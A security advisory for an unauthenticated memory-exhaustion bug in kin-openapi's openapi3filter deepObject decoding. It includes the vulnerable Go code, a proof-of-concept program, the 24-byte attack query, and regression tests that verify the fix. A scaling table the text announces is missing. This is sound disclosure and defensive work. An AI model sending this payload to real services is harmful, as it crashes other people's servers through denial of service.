CVE-2026-77354

Summary

An uncontrolled resource consumption vulnerability in openapi3filter lets any unauthenticated client force multi-gigabyte heap allocation with a single, tiny HTTP request. When a spec declares a deepObject-style query parameter whose schema contains an array (a normal, documented pattern), the decoder reconstructs the array by reading the largest attacker-supplied index and allocating one slot for every position from 0 up to that index — before schema validation (including maxItems) ever runs. A request as small as 24 bytes (?param[items][50000000]=x) drives heap allocation to ~6.1 GiB, reliably triggering an OOM kill / restart loop on memory-constrained services.

Details

The OpenAPI style: deepObject serialization lets clients express arrays in the query string using bracket notation, e.g. param[items][0]=a&param[items][1]=b. The decoder first collects these into an intermediate map[string]any keyed by the string of the index, then converts that sparse map into a real []any in sliceMapToSlice:

// req_resp_decoder.go (vulnerable version)
func sliceMapToSlice(m map[string]any) ([]any, error) {
	var result []any
	keys := make([]int, 0, len(m))
	for k := range m {
		key, err := strconv.Atoi(k)          // "50000000" -> 50000000, attacker-controlled
		if err != nil {
			return nil, fmt.Errorf("array indexes must be integers: %w", err)
		}
		keys = append(keys, key)
	}
	max := -1
	for _, k := range keys {
		if k > max {
			max = k                          // max = attacker's index, unbounded
		}
	}
	for i := 0; i <= max; i++ {              // <-- unbounded loop, 0 .. max
		val, ok := m[strconv.Itoa(i)]
		if !ok {
			result = append(result, nil)     // fills every sparse hole with nil
			continue
		}
		result = append(result, val)
	}
	return result, nil
}

A second, equally-sized allocation follows immediately in buildResObj:

resultArr := make([]any /*not 0,*/, len(arr))   // second allocation, size = max+1
for i := range arr {
	r, err := buildResObj(params, mapKeys, strconv.Itoa(i), schema.Value.Items)
	...
}

So a single attacker-chosen integer N produces an append-grown []any of length N+1, a second make([]any, N+1), and N+1 recursion steps — with no upper bound other than strconv.Atoi's int range (~9.2×10¹⁸ on 64-bit) and available memory.

Why maxItems does not help. maxItems is enforced by schema validation, which runs strictly after parameter decoding completes. sliceMapToSlice/buildResObj fully materialize the oversized array first; validation only inspects — and rejects — the already-allocated result. The PoC below demonstrates this ordering directly: the returned error is the maxItems violation, proving the allocation happened before it could be prevented.

Why this is deepObject-specific. Every other array-bearing surface was driven with an equivalent large-index/large-array payload and stayed under ~27 KiB: application/json bodies build arrays element-by-element from the literal (no "index" concept to inflate); x-www-form-urlencoded and multipart/form-data arrays are sized by the number of repeated fields actually sent; and the other makeObject call sites (path/simple, header/simple, cookie/form, at :479, :777, :841) build their intermediate map via propsFromString, which splits on delimiters and produces property-name keys, never bracketed integer indexes. Only the deepObject propsFn (:661-687) synthesizes the bracketed integer keys that reach sliceMapToSlice with an attacker-controlled magnitude.

Preconditions. The target spec needs a query parameter with in: query, style: deepObject (typically explode: true), and a schema whose graph contains at least one type: array. This is an entirely normal, author-written spec — it is exactly the pattern the library's own decoder tests exercise. No hostile spec authoring is required, and the attack works regardless of any maxItems constraint on the array.

Introduced in. sliceMapToSlice, including the unbounded 0..max fill loop, was added whole-cloth in commit 78bb273 ("openapi3filter: deepObject array of objects and array of arrays support (#923)", merged 2024-03-22), which first shipped in v0.124.0. Every tagged release from v0.124.0 through the current v0.141.0 / master (1d0a337) contains the vulnerable code path.

PoC

Verified against revision 1d0a337c9b1570fab283be8a04c8af6e43b9a22c (v0.141.0, current master at the time of writing), Go 1.25.0, darwin/arm64.

1. Spec — one operation accepting a deepObject query parameter whose items property is an array (maxItems: 3 is declared deliberately, to prove it does not help):

openapi: '3.0.3'
info: {title: t, version: '1.0.0'}
paths:
  /q:
    get:
      parameters:
        - name: param
          in: query
          style: deepObject
          explode: true
          schema:
            type: object
            properties:
              items:
                type: array
                maxItems: 3
                items: {type: string}
      responses:
        '200': {description: ok}

2. Program — build a request with a single huge array index and measure heap allocation across the same public entry point (gorillamux router → openapi3filter.ValidateRequest) any real HTTP server uses:

package main

import (
	"context"
	"fmt"
	"net/http"
	"runtime"

	"github.com/getkin/kin-openapi/openapi3"
	"github.com/getkin/kin-openapi/openapi3filter"
	"github.com/getkin/kin-openapi/routers/gorillamux"
)

const spec = `
openapi: '3.0.3'
info: {title: t, version: '1.0.0'}
paths:
  /q:
    get:
      parameters:
        - name: param
          in: query
          style: deepObject
          explode: true
          schema:
            type: object
            properties:
              items:
                type: array
                maxItems: 3
                items: {type: string}
      responses:
        '200': {description: ok}
`

func main() {
	loader := openapi3.NewLoader()
	doc, _ := loader.LoadFromData([]byte(spec))
	_ = doc.Validate(loader.Context)
	router, _ := gorillamux.NewRouter(doc)

	// Attacker-controlled index. A 24-byte query string is enough to force
	// materialization of a 50-million-element slice.
	const rawQuery = "param[items][50000000]=x"

	r, _ := http.NewRequest(http.MethodGet, "/q?"+rawQuery, nil)
	route, pp, _ := router.FindRoute(r)

	var before, after runtime.MemStats
	runtime.GC()
	runtime.ReadMemStats(&before)

	err := openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{
		Request: r, PathParams: pp, Route: route,
		Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
	})

	runtime.ReadMemStats(&after)

	fmt.Printf("query string: %q (%d bytes)\n", rawQuery, len(rawQuery))
	fmt.Printf("heap allocated during ValidateRequest: %.1f MiB\n", float64(after.TotalAlloc-before.TotalAlloc)/(1<<20))
	fmt.Printf("ValidateRequest error: %v\n", err)
}

3. Observed output (go run ., unpatched tree, re-verified in this pass):

query string: "param[items][50000000]=x" (24 bytes)
heap allocated during ValidateRequest: 6231.1 MiB
ValidateRequest error: parameter "param" in query has an error: Error at "/items": maximum number of items is 3

A 24-byte query string drove ~6.1 GiB of heap allocation in a single call, and the returned error is the maxItems rejection — proof that the array was fully materialized before validation could reject it. Scaling the index shows the amplification is linear and attacker-tunable (measured over several runs on this revision):

Attack request (nothing else required — no body, no auth, no unusual headers):

GET /whatever?param[items][50000000]=x HTTP/1.1
Host: victim

Control (confirms only deepObject is a vector): repeating the equivalent "large array" attempt against application/json, application/x-www-form-urlencoded, multipart/form-data bodies, and non-deepObject path/header/cookie styles stays under ~27 KiB in every case.

4. Regression/scaling test suite — a broader harness driving the same public entry point, adding the ordering proof (TestC02_AllocationBeforeValidation), the nested-index amplifier, and the cross-encoding controls referenced above. Save as openapi3filter/zzz_c02_verify_test.go and run with C02_BIG=1 go test -run TestC02 ./openapi3filter/ -v (unset C02_BIG to skip the two largest, slower indexes):

package openapi3filter_test

import (
	"bytes"
	"fmt"
	"mime/multipart"
	"net/http"
	"net/url"
	"os"
	"runtime"
	"strings"
	"testing"

	"github.com/stretchr/testify/require"

	"github.com/getkin/kin-openapi/openapi3"
	"github.com/getkin/kin-openapi/openapi3filter"
	"github.com/getkin/kin-openapi/routers/gorillamux"
)

// measureAlloc runs fn and reports the number of bytes of heap it caused to be
// allocated (TotalAlloc delta), which counts even memory that was already freed
// by the time fn returned. This captures transient allocation spikes.
func measureAlloc(fn func()) uint64 {
	var before, after runtime.MemStats
	runtime.GC()
	runtime.ReadMemStats(&before)
	fn()
	runtime.ReadMemStats(&after)
	return after.TotalAlloc - before.TotalAlloc
}

const c02Spec = `
openapi: '3.0.3'
info: {title: t, version: '1.0.0'}
paths:
  /q:
    get:
      parameters:
        - name: param
          in: query
          style: deepObject
          explode: true
          schema:
            type: object
            properties:
              items:
                type: array
                maxItems: 3
                items: {type: string}
      responses:
        '200': {description: ok}
`

func c02Router(t *testing.T) (*openapi3.T, func(rawquery string) error) {
	t.Helper()
	loader := openapi3.NewLoader()
	ctx := loader.Context
	doc, err := loader.LoadFromData([]byte(c02Spec))
	require.NoError(t, err)
	require.NoError(t, doc.Validate(ctx))
	router, err := gorillamux.NewRouter(doc)
	require.NoError(t, err)

	validate := func(rawquery string) error {
		req, err := http.NewRequest(http.MethodGet, "/q?"+rawquery, nil)
		require.NoError(t, err)
		route, pathParams, err := router.FindRoute(req)
		require.NoError(t, err)
		return openapi3filter.ValidateRequest(ctx, &openapi3filter.RequestValidationInput{
			Request:    req,
			PathParams: pathParams,
			Route:      route,
			Options:    &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
		})
	}
	return doc, validate
}

// TestC02_Reproduce_MemoryExhaustion measures the allocation caused by a single
// tiny deepObject query with a large array index.
func TestC02_Reproduce_MemoryExhaustion(t *testing.T) {
	_, validate := c02Router(t)

	base := measureAlloc(func() {
		_ = validate("param[items][0]=a&param[items][1]=b&param[items][2]=c")
	})
	t.Logf("baseline (3 legit items): %s allocated", humanBytes(base))

	indexes := []int{10_000, 100_000, 1_000_000}
	if os.Getenv("C02_BIG") == "1" {
		indexes = append(indexes, 5_000_000, 50_000_000)
	}

	const fixThreshold = 32 << 20 // 32 MiB: no fixed-tree request should approach this
	worst := uint64(0)
	for _, idx := range indexes {
		q := fmt.Sprintf("param[items][%d]=x", idx)
		alloc := measureAlloc(func() {
			err := validate(q)
			require.Error(t, err) // rejected either by the cap (fixed) or maxItems (vuln)
		})
		if alloc > worst {
			worst = alloc
		}
		ratio := float64(alloc) / float64(len(q))
		t.Logf("index=%-10d query=%dB -> %s allocated (%.0fx over the query size)",
			idx, len(q), humanBytes(alloc), ratio)
	}
	require.Less(t, worst, uint64(fixThreshold),
		"C-02 REGRESSION: a tiny deepObject query allocated %s; the sliceMapToSlice cap is missing or too high",
		humanBytes(worst))
}

// TestC02_AllocationBeforeValidation checks the ordering: on the vulnerable
// tree the huge allocation happened even though maxItems:3 is declared, proving
// materialization precedes schema validation.
func TestC02_AllocationBeforeValidation(t *testing.T) {
	_, validate := c02Router(t)

	const idx = 2_000_000
	q := fmt.Sprintf("param[items][%d]=x", idx)

	var gotErr error
	alloc := measureAlloc(func() {
		gotErr = validate(q)
	})
	require.Error(t, gotErr)
	t.Logf("index=%d (query %d bytes) allocated %s; error: %v",
		idx, len(q), humanBytes(alloc), gotErr)

	// On the vulnerable tree this value was ~225 MiB and this assertion fails,
	// flagging the regression. On the fixed tree it stays well under 32 MiB.
	require.Less(t, alloc, uint64(32<<20),
		"C-02 REGRESSION: index %d allocated %s before rejection", idx, humanBytes(alloc))
}

// TestC02_OnlyDeepObjectAffected proves the blast radius: JSON, multipart, and
// urlencoded array handling do NOT go through sliceMapToSlice, so an equivalent
// "large index" payload in those encodings does not explode.
func TestC02_OnlyDeepObjectAffected(t *testing.T) {
	spec := `
openapi: '3.0.3'
info: {title: t, version: '1.0.0'}
paths:
  /b:
    post:
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                items: {type: array, maxItems: 3, items: {type: string}}
          application/x-www-form-urlencoded:
            schema:
              type: object
              properties:
                items: {type: array, maxItems: 3, items: {type: string}}
          multipart/form-data:
            schema:
              type: object
              properties:
                items: {type: array, maxItems: 3, items: {type: string}}
      responses:
        '200': {description: ok}
`
	loader := openapi3.NewLoader()
	ctx := loader.Context
	doc, err := loader.LoadFromData([]byte(spec))
	require.NoError(t, err)
	require.NoError(t, doc.Validate(ctx))
	router, err := gorillamux.NewRouter(doc)
	require.NoError(t, err)

	do := func(ct, body string) (error, uint64) {
		var e error
		alloc := measureAlloc(func() {
			req, _ := http.NewRequest(http.MethodPost, "/b", strings.NewReader(body))
			req.Header.Set("Content-Type", ct)
			route, pathParams, rerr := router.FindRoute(req)
			require.NoError(t, rerr)
			e = openapi3filter.ValidateRequest(ctx, &openapi3filter.RequestValidationInput{
				Request: req, PathParams: pathParams, Route: route,
				Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
			})
		})
		return e, alloc
	}

	_, jsonAlloc := do("application/json", `{"items":["a","b","c","d"]}`)
	t.Logf("JSON 4-elem array: %s", humanBytes(jsonAlloc))
	require.Less(t, jsonAlloc, uint64(4<<20), "JSON path must not balloon")

	form := url.Values{}
	form.Set("items", "a")
	form.Add("items", "b")
	_, formAlloc := do("application/x-www-form-urlencoded", form.Encode())
	t.Logf("urlencoded repeated field: %s", humanBytes(formAlloc))
	require.Less(t, formAlloc, uint64(4<<20), "urlencoded path must not balloon")

	var buf bytes.Buffer
	w := multipart.NewWriter(&buf)
	require.NoError(t, w.WriteField("items", "a"))
	require.NoError(t, w.WriteField("items", "b"))
	require.NoError(t, w.Close())
	_, mpAlloc := do(w.FormDataContentType(), buf.String())
	t.Logf("multipart fields: %s", humanBytes(mpAlloc))
	require.Less(t, mpAlloc, uint64(4<<20), "multipart path must not balloon")
}

// TestC02_NonDeepObjectStylesSafe checks the other makeObject entry points
// (path/simple, header/simple, cookie/form). These build props via
// propsFromString, whose keys are property names, not bracketed integer
// indexes -- so a big number lands as a string key that fails strconv.Atoi
// cleanly, without materializing a giant slice.
func TestC02_NonDeepObjectStylesSafe(t *testing.T) {
	spec := `
openapi: '3.0.3'
info: {title: t, version: '1.0.0'}
paths:
  /p/{param}:
    get:
      parameters:
        - name: param
          in: path
          required: true
          style: simple
          explode: false
          schema:
            type: object
            properties:
              items: {type: array, maxItems: 3, items: {type: string}}
      responses:
        '200': {description: ok}
`
	loader := openapi3.NewLoader()
	ctx := loader.Context
	doc, err := loader.LoadFromData([]byte(spec))
	require.NoError(t, err)
	require.NoError(t, doc.Validate(ctx))
	router, err := gorillamux.NewRouter(doc)
	require.NoError(t, err)

	alloc := measureAlloc(func() {
		req, _ := http.NewRequest(http.MethodGet, "/p/items,5000000", nil)
		route, pathParams, rerr := router.FindRoute(req)
		require.NoError(t, rerr)
		_ = openapi3filter.ValidateRequest(ctx, &openapi3filter.RequestValidationInput{
			Request: req, PathParams: pathParams, Route: route,
			Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
		})
	})
	t.Logf("path/simple object with big scalar: %s", humanBytes(alloc))
	require.Less(t, alloc, uint64(4<<20), "path/simple must not balloon")
}

func humanBytes(b uint64) string {
	const unit = 1024
	if b < unit {
		return fmt.Sprintf("%d B", b)
	}
	div, exp := uint64(unit), 0
	for n := b / unit; n >= unit; n /= unit {
		div *= unit
		exp++
	}
	return fmt.Sprintf("%.1f %ciB", float64(b)/float64(div), "KMGTPE"[exp])
}

Observed output re-run in this pass (C02_BIG=1 go test -run TestC02 ./openapi3filter/ -v):

• Unpatched tree (fix reverted via git stash push -- openapi3filter/req_resp_decoder.go): TestC02_Reproduce_MemoryExhaustion reproduced the full scaling table above (10,000 → 937.5 KiB through 50,000,000 → 6.1 GiB), and TestC02_AllocationBeforeValidation measured 225.2 MiB allocated for index=2,000,000 before the maxItems rejection fired — both matching the standalone PoC's findings and failing their bounded-allocation assertions as expected.
• Patched tree (fix restored): all five tests pass; the worst-case allocation across every index, including 50,000,000, drops to 51.1 KiB, and TestC02_OnlyDeepObjectAffected / TestC02_NonDeepObjectStylesSafe confirm the other encodings and parameter styles were never affected.

Impact

• Type: Uncontrolled Resource Consumption (CWE-789, Memory Allocation with Excessive Size Value / CWE-400, Uncontrolled Resource Consumption) → unauthenticated remote denial of service.
• Who is impacted: any application using github.com/getkin/kin-openapi/openapi3filter to validate requests against a spec that declares an in: query, style: deepObject parameter whose schema contains an array anywhere in its property graph. This is a normal, documented OpenAPI pattern, not a hostile or unusual spec.
• Attack: a single unauthenticated GET request with a small, attacker-chosen query string (as few as ~21–24 bytes). No body, no credentials, no special client tooling, no chunked-encoding or Content-Length trickery — the trigger lives entirely in the query string, so request-body size limits do not mitigate it.
• Consequence: a single request can force hundreds of megabytes to multiple gigabytes of heap allocation; a handful of concurrent requests reliably exhausts memory on typical container limits (256 MB–2 GB), producing an OOM kill / restart loop. The declared maxItems constraint on the array does not prevent this, because materialization happens during decoding, strictly before schema validation runs.
• Not affected: specs that do not use style: deepObject for array-bearing query parameters; requests via application/json, x-www-form-urlencoded, or multipart/form-data bodies; and path/header/cookie styled object parameters (all verified empirically above, and re-verified in this pass).